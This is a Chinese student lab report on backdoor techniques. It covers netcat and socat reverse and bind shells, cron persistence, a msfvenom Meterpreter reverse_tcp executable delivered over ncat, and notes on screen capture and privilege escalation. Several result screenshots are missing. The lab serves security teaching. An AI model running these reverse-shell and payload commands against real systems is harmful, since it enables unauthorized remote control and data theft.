20145204《网络对抗》MAL后门原理与实践
实践内容说明
(1)使用netcat获取主机操作Shell,cron启动 (1分)
(2)使用socat获取主机操作Shell, 任务计划启动 (1分)
(3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(1分)
(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
基础问题回答
(1)例举一个后门进入到你系统中的可能方式?
通过下载破解软件,或者浏览带有插件的网页。
(2)例举一个后门启动起来(win及linux)的方式?
后门伪装成常用软件,诱使用户点击。
(3)Meterpreter有哪些给你映像深刻的功能?
获得system权限,得到密码
(4)如何发现自己有系统有没有被安装后门?
实验总结与体会
在做后门的实验,深刻意识到了后门的危害性,一旦中招,基本攻击者想知道的信息都能获得,在利用Meterpreter提取win7权限竟然成功,看来以后要经常查毒了。
实践一:ncat
知识要求:
1.NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection);
2.netcat实现简单服务器命令:nc -l -p //-l表明nc处于监听模式,-p指定端口号;
3.nc的-e选项,指定连接后执行的程序。
windows获得linux shell
- windows作为攻击端开启监听模式
ncat.exe -l -p 5204
- linux反弹连接并且设置连接后启动shell。
nc 172.30.202 5204 -e /bin/sh
linux获得windows shell。
与上面步骤相反,只不过windows设置连接后启动cmd。
以下是实验结果:
ncat文件传输
1、监听端windows命令:ncat.exe -lv port > filename
2、传输端kali命令:nc windows_ip port < filename
结果如下(传输的文件在ncat文件夹下):
cron启动
命令:crontab -e
修改文件,crontab -l
查看修改的文件。
实践二:socat
windows获得kali shell
1、kali设置监听命令socat tcp-l:5204 system:bash,pty,stderr
2、windows连接,并获取权限socat readline tcp:172.30.1.181 5204
结果:
kali获得window shell
1、windows端如下图:
2、kali端如下:
实践三:
1、生成后门程序命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=linux_ip LPORT=444 -f exe >20145204.exe
2、利用ncat传输文件使得后门程序进入靶机,具体实现如下图所示:
3、根据老师教程,在kali中开启msf设置监听。
4、在windows端运行后门程序,并获得权限如下图所示:
实践四
- 对靶机截屏:
结果如下:
- 提权